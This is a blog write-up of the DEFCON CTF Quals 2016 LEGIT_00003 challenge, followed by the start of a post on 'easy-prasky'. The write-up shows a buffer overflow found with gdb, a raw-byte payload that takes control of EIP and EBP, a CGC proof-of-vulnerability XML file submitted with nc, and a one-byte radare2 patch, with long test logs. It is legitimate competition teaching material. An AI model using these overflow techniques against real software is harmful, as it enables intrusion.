Showing posts with label cgc. Show all posts
Showing posts with label cgc. Show all posts

Monday, May 23, 2016

DEFCON CTF Quals 2016 - LEGIT_00003 & Patched





This was one of those challenges I had to dive into a lot of research for. As mentioned in this post - DEFCON CTF Quals 2016 - Easy Prasky

It was the first time I've experienced the CGC infrastructure. A note for next year also is to check the LegitBS blog/twitter stream to find useful obvious hints such as this - https://blog.legitbs.net/2016/05/what-is-decree.html

Psychologically the CGC challenges seemed out of reach and meant for teams with bots already setup, but on second thought how many of those teams really exist out there? So we decided to take a whack at it out of pure curiosity.




Let's play Robot.


First thing's first, we'll try connecting to the server:

$ nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648
How many bytes is your POV?
4
Ok...send it
AAAA
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100


Interesting, much different than the previous challenge we did (easy-prasky) where it wanted base64 encoded input. This looks a lot more like a custom environment setup for receiving challenge solutions, it had a taste of custom CGC code again, just like when we first saw the strings output on the previous binary.


Exploitation was very simple (mainly need to get eip control & one register for these challenges). It happened almost instantly:

vagrant@v:/vagrant$ ulimit -c unlimited

vagrant@v:/vagrant$ ./legit_00003
1) Gimme Name
2) Print Name
3) Exit
: 1
Enter Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

vagrant@v:/vagrant$ gdb ./legit_00003 core
...
(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

This wasn't quite it, but more on that later...

It's also interesting to note that a lot of the CGC environment had to be built around the custom CGC format. You can see this by browsing their github page - https://github.com/CyberGrandChallenge

We see things in here such as "clang-cgc", "binutils", "strace", "gdb", "readcgcef", etc.

Also worth noting "cb-testing", "cgc-release-documentation", "cgc2elf", "pov-xml2c" and "samples" - but we'll get to those later.

They also have a full testing framework setup for verifying PoV's (Proof of Vulnerabilities).
This became invaluable when testing for the final result. During the competition I thought how nice this could be verifying automated intelligent fuzzing & exploration attempts.


The first thing I did was create a small python script to generate a pov xml file for us. I'll post it here, though we didn't end up using this at all for the final result.

#!/usr/bin/env python

TEMPLATE = """
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-replay/replay.dtd">
<pov>
<cbid>service</cbid>
<replay>{}</replay>
</pov>
"""

def createReadString(data):
  return "<read><length>{}</length><match><data>{}</data></match></read>\n".format(len(data), data)

def createWriteString(data):
  return "<write><data>{}</data></write>\n".format(data)


def main():
  a = "\n"
  a += createReadString("1) Gimme Name")
  a += createReadString("2) Print Name")
  a += createReadString("3) Exit")
  a += createReadString(":")
  a += createWriteString(1)
  a += createReadString("Enter Name:")
  a += createWriteString("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB")
  
  print TEMPLATE.format(a)

if __name__ == "__main__":
  main()


Something about the POV format was very recognizable, even though it was in a nasty XML format, it was very similar to using pwntools where you read some strings, write some strings and have some constants supplied for various overwrites.
After a lot of trial and error, I ended up forming this file all by hand. It also took me a while to find that the remote server wanted a binary POV, not an XML one.

This repo is what really what helped it click for me. We needed a povxml file with a negotiation, including a IP & Reg var provided with the payload. Also had read through the XML DTD Spec for POV structure - https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/cfe-pov.dtd



Another useful place to look was the CGC docs site: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/
(Same content as what was shown on GitHub, but a little more readable & organized.)

The service template provided a very nice povxml example to work with:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>service</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFEFEFEFE</ipmask>
            <regmask>0xFEFEFEFE</regmask>
            <regnum>2</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim></read>
    <read echo="yes"><delim>\n</delim></read>
    <write echo="yes">
        <data>ABC</data>
        <var>TYPE1_IP</var>
        <var>TYPE1_REG</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


This could also help with setting up the environment, but I found I was deleting more than if I constructed it from scratch:

cp -r /usr/share/cgc-sample-challenges/templates/service-template/ /vagrant/my-cb


So how do we build this PoV ?

Thanks to @unixist for pointing out that vagrant mounts the outside directory to /vagrant in the VM, that was incredibly useful when trying out various tools and when it came to patching this LEGIT_00003 binary.

First let's start by creating a pov directory in the home drive of the vagrant box. We need to drop a Makefile in here to facilitate the creation of pov binaries and validation of those pov's as well as any patched binaries we may have.

The directory structure should looks something like this:

vagrant@v:~/pov$ ll

drwxr-xr-x  6 vagrant vagrant 4.0K May 22 23:12 .
drwxr-xr-x 16 vagrant vagrant 4.0K May 22 23:12 ..
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 bin
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003_patched
-rw-r--r--  1 vagrant vagrant  143 May 22 08:42 Makefile
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 pov
  -rw-r--r--  1 vagrant vagrant 1.1K May 22 19:10 POV_00001.povxml


The Makefile looks like this (modified from one of the samples):

AUTHOR_ID  = LEGIT
SERVICE_ID = 00003
CFLAGS     = -O0 -g -Werror -Wno-overlength-strings -Wno-packed

include /usr/share/cb-testing/cgc-cb.mk

The two binaries in the bin directory are just copies of the same one pulled from the legit_00003 challenge description.

The POV we'll get to soon.

First we need to fix that exploit. Last we saw it was segfaulting, but for the wrong reason. I'm usually caught up doing forensics, stego or web challenges for CTF's so I reached out to @Matir and he mentioned that it's calling some other functions before returning to 0x41414141, obvious in retrospect, but very helpful for figuring out what was wrong with my current approach.

If you remember we have something like this:

(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

But we want something like this:

(gdb) bt
#0  0x41414141 in ?? ()

In GDB/Radare2 we can start to see our problem:

(gdb) x/i 0x08048201
=> 0x8048201: mov    BYTE PTR [ecx+eax*1],dl
(gdb) i r eax
eax            0x0 0
(gdb) i r ecx
ecx            0x41414141 1094795585
(gdb) i r dl
dl             0x6e 110





It's attempting to load 0x6e into the memory address of [ecx+eax*1] or [0x41414141] .. This is not going to work.

My first instinct (which is what I stuck with) was to just throw a stack value there instead. My initial POV was looking for ecx (1)

Note again the Regnum values here: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/


So after grabbing an arbitrary stack value and pushing that into the area which will be consumed @ 0x8048201 instead seemed to work:

echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003
Segmentation fault (core dumped)

or

$ echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA\xef\xbe\xad\xde\xd3\xc0\xde\xfa\n' | ./legit_00003
Segmentation fault (core dumped)

$ gdb ./legit_00003 core
#0  0xfadec0d3 in ?? ()

(gdb) i r
eax            0x48 72
ecx            0xbaaaaeaa -1163219286
edx            0xbaaaae47 -1163219385
ebx            0x0 0
esp            0xbaaaaf3c 0xbaaaaf3c
ebp            0xdeadbeef 0xdeadbeef
esi            0x41414141 1094795585
edi            0x0 0
eip            0xfadec0d3 0xfadec0d3
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x7b 123
gs             0x7b 123
(gdb)


Now we can have a working exploit and can add it to the POV!

Remember we need EIP control & some register control in this Type 1 POV.
We also want to specify EBP as our controlled register, so looking that up, we can see it has the regnum of 5.

These two variables stand in to test that the EIP & register values have been tainted. So be sure to add these in the appropriate locations where your EIP control is and register control.

        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>


This was what I ended up with for the final PoV XML file used for testing LEGIT_00003 & LEGIT_00003_patched:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>LEGIT_00003</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFFFFFFFF</ipmask>
            <regmask>0xFFFFFFFF</regmask>
            <regnum>5</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim><match><data>1) Gimme Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>2) Print Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>3) Exit\n</data></match></read>
    <read echo="yes"><length>1</length><match><data>:</data></match></read>
    <write echo="yes"><data>1\n</data></write>
    <read echo="yes"><length>12</length><match><data> Enter Name:</data></match></read>
    <write echo="yes">
        <!-- echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003 -->
        <data>IIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA</data>
        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


Running make in the ~/pov directory, it successfully runs the pov against the challenge binary, expecting it to core, and checking the eip/reg control.

The binary POV will be dropped in the same pov directory as your *.povxml files. Now that we have this, we can send it back to the challenge server:

 $ (echo `cat pov-for-00004|wc -c` && cat ./pov-for-00004; cat) | nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648

How many bytes is your POV?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100
# launching cb-replay-pov --host 127.114.161.48 --port 2660 --timeout 30 --negotiate /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# cb-server: connection from: 127.0.0.1:44913
# cb-server: negotation flag: 1
# cb-server: seed: D0EAEE8925846776B1F7E6381A7EB7459474AAAA0E88F400731002D0BAF547A1DAA63E08F4E9F4535A49F29007982E34
# cb-server: stat: legit_00003 filesize 88052
# cb-server: register states - eax: 00000048 ecx: baaaaeaa edx: baaaae47 ebx: 00000000 esp: baaaaf3c ebp: e7afc747 esi: 41414141 edi: 00000000 eip: 232e83bd
# cb-server: CB generated signal (pid: 22, signal: 11)
# cb-server: total children: 1
# cb-server: total maxrss 0
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 1581820
# cb-server: total sw-task-clock 1581455
# /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# using seed: d0eaee8925846776b1f7e6381a7eb7459474aaaa0e88f400731002d0baf547a1daa63e08f4e9f4535a49f29007982e34
# negotiation type: 1
# type 1 masks: ffffffff ffffffff
# type 1 pov: 232e83bd e7afc747 5
# POV type 1 negotiated masks: ffffffff ffffffff 5
ok - TYPE 1 POV
The flag is: Superman, Stuporhero and a Massachusetts Slurpee.


The wc in the front was to give it the amount of bytes for the received binary, and cat is there to sustain the connection.

The flag is: Superman, Stuporhero and a Massachusetts Slurpee.




Now onto patching.....

Only 30 minutes was left on the clock when I decided to go for the patch on this, could've given up easily but decided to go for it!

The POV has been built to check both the unpatched CB and the patched one (currently sitting the same exact binary as the unpatched). Currently when running the cb-replay / cb-test we get only the unpatched expected core passing.

So the next step is to fix the vulnerability, let's fire up radare2 again and see what we can find.

First starting to look at where the closest stdout is to the vulnerability, seeking to the XRef related to that string.

[0x08048110]> iz | grep -i enter
vaddr=0x08049467 paddr=0x00001467 ordinal=001 sz=13 len=12 section=.rodata type=ascii string=Enter Name:



Here we are.. 0x08048280.

Notice the two highlighted matches of 0x30, the second one is the immediate we need to modify.

We can open the binary up in read-write mode with the following command:

:> oo+
File ./legit_00003 reopened in read-write mode


Seeking to 0x080482e4 we see the culprit to modify.



In radare2, patching this is as simple as using the interactive assembler, you can get to this by hitting A in visual mode (loved utilizing this for patching GitSC's Pwn Adventures).



Using .hex, we can insert hex instead of asm instructions. Since we just need to change that immediate, it makes the change very simple, one character:





Changing 0x30 to 0x20 may not be reasonable in production code specs, but it works to solve the vulnerability.

Exiting out of the interactive assembler will ask you to save, simply press Y and you've got a patched CGC binary!

Now we can switch back over to our Vagrant VM and try it out, copying the new patched file to ./bin/LEGIT_00003_patched

Before copying it over we got the message:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched
# not ok - POV type 1 expected to not core, but did. (signal 11: SIGSEGV)
make: *** [check] Error 255


After the copy we get:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched


Aaand sending it to the server:

$ (echo `cat legit_00003_p1|wc -c` && cat ./legit_00003_p1; cat) | nc legit_00003_patch_01852870a8d9ad56a54d832d5cc62dad.quals.shallweplayaga.me 17225
How many bytes is your patched CB?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2305 -m 10 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay --host 127.177.251.145 --port 2305 --timeout 30 --negotiate /home/legit_00003_patch/polls/GEN_00000.xml /home/legit_00003_patch/polls/GEN_00001.xml /home/legit_00003_patch/polls/GEN_00002.xml /home/legit_00003_patch/polls/GEN_00003.xml /home/legit_00003_patch/polls/GEN_00004.xml /home/legit_00003_patch/polls/GEN_00005.xml /home/legit_00003_patch/polls/GEN_00006.xml /home/legit_00003_patch/polls/GEN_00007.xml /home/legit_00003_patch/polls/GEN_00008.xml /home/legit_00003_patch/polls/GEN_00009.xml
# cb-server: connection from: 127.0.0.1:48580
# cb-server: negotation flag: 1
# cb-server: seed: C31E3A7F7869159E2B9CB43DFDF71A509D459BF64010E5C8B9EA2B89896F61145307C2DCCE5D7E39B8F1F653C25FDCB0
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 24, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450239
# cb-server: total sw-task-clock 4458616
# cb-server: CB exited (pid: 23, exit code: 0)
# cb-server: connection from: 127.0.0.1:45363
# cb-server: negotation flag: 1
# cb-server: seed: 8E93095CDF61C2655E80F1CAF35119A78E1B2F275853E045176326358DAF83E6D9F8B4326B61A736F284641E4ABB9F55
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 26, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4435595
# cb-server: total sw-task-clock 4443390
# cb-server: CB exited (pid: 25, exit code: 0)
# cb-server: connection from: 127.0.0.1:53608
# cb-server: negotation flag: 1
# cb-server: seed: 62E5D85E053740972A5687C15990154513D19189651CD65967C9BB9ED208B3714B46F809403681A19F521364AA3D83B8
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 28, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4415443
# cb-server: total sw-task-clock 4426033
# cb-server: CB exited (pid: 27, exit code: 0)
# cb-server: connection from: 127.0.0.1:35391
# cb-server: negotation flag: 1
# cb-server: seed: 62882C9E2CD5D660DB1C7E4AD15EA760A84F2B66E480F570BA9497553B76CB26C1C288A809CDD3B1EC03A4F914AE0B46
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 30, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4571481
# cb-server: total sw-task-clock 4582952
# cb-server: CB exited (pid: 29, exit code: 0)
# cb-server: connection from: 127.0.0.1:53001
# cb-server: negotation flag: 1
# cb-server: seed: FE202FB0E028B1BCECED407241BD9907910F91D80BF3A04AA71F4DE7C5787F168D067D3E75E5626CB82C322DBFCB7BB9
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 32, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4356517
# cb-server: total sw-task-clock 4366848
# cb-server: CB exited (pid: 31, exit code: 0)
# cb-server: connection from: 127.0.0.1:44519
# cb-server: negotation flag: 1
# cb-server: seed: 581D18F2BDBE875F5803017FCDF767345A5BAEEE3BA701FA6D6701DDFBA087F6AB6D7318FA2B510078D45A264F673277
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 34, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450227
# cb-server: total sw-task-clock 4463487
# cb-server: CB exited (pid: 33, exit code: 0)
# cb-server: connection from: 127.0.0.1:42282
# cb-server: negotation flag: 1
# cb-server: seed: 5F22F45B9F220ACECB404BC22EE28BF7740B6C0EB675AFD73491577F8A683E8ABC12683C772CF8907E6ED091A72E829F
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 36, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4605634
# cb-server: total sw-task-clock 4616619
# cb-server: CB exited (pid: 35, exit code: 0)
# cb-server: connection from: 127.0.0.1:39070
# cb-server: negotation flag: 1
# cb-server: seed: C109ECE1C065013EBE5CA0B69B19225F78504B2F2ADF8917FF647F198D8C0C4099043B1A86E73462613DC5F2122EF3E2
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 38, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4430579
# cb-server: total sw-task-clock 4440284
# cb-server: CB exited (pid: 37, exit code: 0)
# cb-server: connection from: 127.0.0.1:50055
# cb-server: negotation flag: 1
# cb-server: seed: E15B879DD393A94B25D31579199FB88019CF66759F84D78D8D1CE34ABBD9F933029000384F33966B0B2FF75F40685A05
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 40, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4422995
# cb-server: total sw-task-clock 4434465
# cb-server: CB exited (pid: 39, exit code: 0)
# cb-server: connection from: 127.0.0.1:34554
# cb-server: negotation flag: 1
# cb-server: seed: 902858EA8E288D6648944B6CEB914E72B214512BE3E3D91B362486159521576554C1B07A6BCE8C59605DB9B763D83521
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 42, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4033543
# cb-server: total sw-task-clock 4039591
# cb-server: CB exited (pid: 41, exit code: 0)
# negotiating seed as c31e3a7f7869159e2b9cb43dfdf71a509d459bf64010e5c8b9ea2b89896f61145307c2dcce5d7e39b8f1f653c25fdcb0
# service - /home/legit_00003_patch/polls/GEN_00000.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 8e93095cdf61c2655e80f1caf35119a78e1b2f275853e045176326358daf83e6d9f8b4326b61a736f284641e4abb9f55
# service - /home/legit_00003_patch/polls/GEN_00001.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 17 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62e5d85e053740972a5687c15990154513d19189651cd65967c9bb9ed208b3714b46f809403681a19f521364aa3d83b8
# service - /home/legit_00003_patch/polls/GEN_00002.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 62882c9e2cd5d660db1c7e4ad15ea760a84f2b66e480f570ba9497553b76cb26c1c288a809cdd3b1ec03a4f914ae0b46
# service - /home/legit_00003_patch/polls/GEN_00003.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as fe202fb0e028b1bceced407241bd9907910f91d80bf3a04aa71f4de7c5787f168d067d3e75e5626cb82c322dbfcb7bb9
# service - /home/legit_00003_patch/polls/GEN_00004.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 13 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 581d18f2bdbe875f5803017fcdf767345a5baeee3ba701fa6d6701ddfba087f6ab6d7318fa2b510078d45a264f673277
# service - /home/legit_00003_patch/polls/GEN_00005.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 5f22f45b9f220acecb404bc22ee28bf7740b6c0eb675afd73491577f8a683e8abc12683c772cf8907e6ed091a72e829f
# service - /home/legit_00003_patch/polls/GEN_00006.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 20 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as c109ece1c065013ebe5ca0b69b19225f78504b2f2adf8917ff647f198d8c0c4099043b1a86e73462613dc5f2122ef3e2
# service - /home/legit_00003_patch/polls/GEN_00007.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 14 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as e15b879dd393a94b25d31579199fb88019cf66759f84d78d8d1ce34abbd9f933029000384f33966b0b2ff75f40685a05
# service - /home/legit_00003_patch/polls/GEN_00008.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 15 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 902858ea8e288d6648944b6ceb914e72b214512be3e3d91b362486159521576554c1b07a6bce8c59605db9b763d83521
# service - /home/legit_00003_patch/polls/GEN_00009.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 16 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# total tests passed: 190
# total tests failed: 0
# polls passed: 10
# polls failed: 0
# launching cb-server --insecure -p 2057 -m 1 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay-pov --host 127.21.144.70 --port 2057 --timeout 30 --negotiate /home/legit_00003_patch/pov_1.pov
# cb-server: connection from: 127.0.0.1:57857
# cb-server: negotation flag: 1
# cb-server: seed: C67B3222B4EFF8031169122D82F8EA7ACE7B0D9026AB893A09F9B7EB2CD5C20184ABB5F1C4FEEB3C5E1066946427ADAA
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 55, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 3894416
# cb-server: total sw-task-clock 3899075
# cb-server: CB exited (pid: 54, exit code: 0)
# /home/legit_00003_patch/pov_1.pov
# using seed: c67b3222b4eff8031169122d82f8ea7ace7b0d9026ab893a09f9b7eb2cd5c20184abb5f1c4feeb3c5e1066946427adaa
# negotiation type: 1
# type 1 masks: 7f7f7f7f 7f7f7f7f
# type 1 pov: 04180167 593a2a30 5
ok - POV type 1 did not core, as expected
Passed functionality tests.
Passed pov test
The flag is: Come get your grape juice and a Sex Coma.


Looks like it worked!


The flag is: Come get your grape juice and a Sex Coma.

Sunday, May 22, 2016

DEFCON CTF Quals 2016 - Easy Prasky


Our team started by spreading out and tackling separate problems, eventually consolidating into subgroups.

One of the first challenges I started looking at was "easy-prasky". This was in the "Baby's First" section, the bite-size preview challenges that show what's coming ahead.

No description on this one, just a binary and a server to connect to. Pulling down the file we get a tar file that extracts to a binary:

$ tar -xzf easy-prasky.tar.bz2
$ ls -la
  -rw-r--r--   1 user  staff   1.7K May 19 09:47 easy-prasky.tar.bz2
  drwxr-xr-x   3 user  staff   102B May 22 21:07 easy-prasky-with-buffalo-on-bing

$ cd easy-prasky-with-buffalo-on-bing
$ ls -la
  -rwxr-xr-x  1 user  staff   2.3K May 18 18:36 easy-prasky-with-buffalo-on-bing

$ file easy-prasky-with-buffalo-on-bing
  easy-prasky-with-buffalo-on-bing: data


Interesting, just data. Running strings on this we get some more interesting information:

Merino
fffff.
ffff.
fff.
^_[]
SQRV
^ZY[
SQRV
^ZY[
SQRVW
_^ZY[
lddwDrwhkTEBSya_
hacking detected, see ya
canary ok
clang-cgc version 3.4 (9085)
.shstrtab
.text
.rodata
.comment

